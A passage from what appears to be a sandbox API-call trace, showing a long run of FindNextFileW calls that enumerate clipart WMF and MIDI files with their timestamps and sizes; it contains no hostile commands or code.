nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0267.030] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0268.983] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0268.983] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0268.983] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0268.983] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0268.984] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0268.985] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0268.987] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0268.987] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0268.987] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0268.987] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0268.987] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0268.988] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0268.989] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0268.989] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0269.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0269.264] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0269.265] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0269.265] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0269.266] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0269.266] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0269.266] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0269.266] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0269.266] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0269.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0269.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0269.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, 